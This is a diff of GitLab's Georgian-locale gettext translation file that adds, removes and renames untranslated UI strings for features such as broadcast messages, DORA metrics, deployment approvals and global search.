@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ka\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:40\n"
+"PO-Revision-Date: 2023-01-10 06:44\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
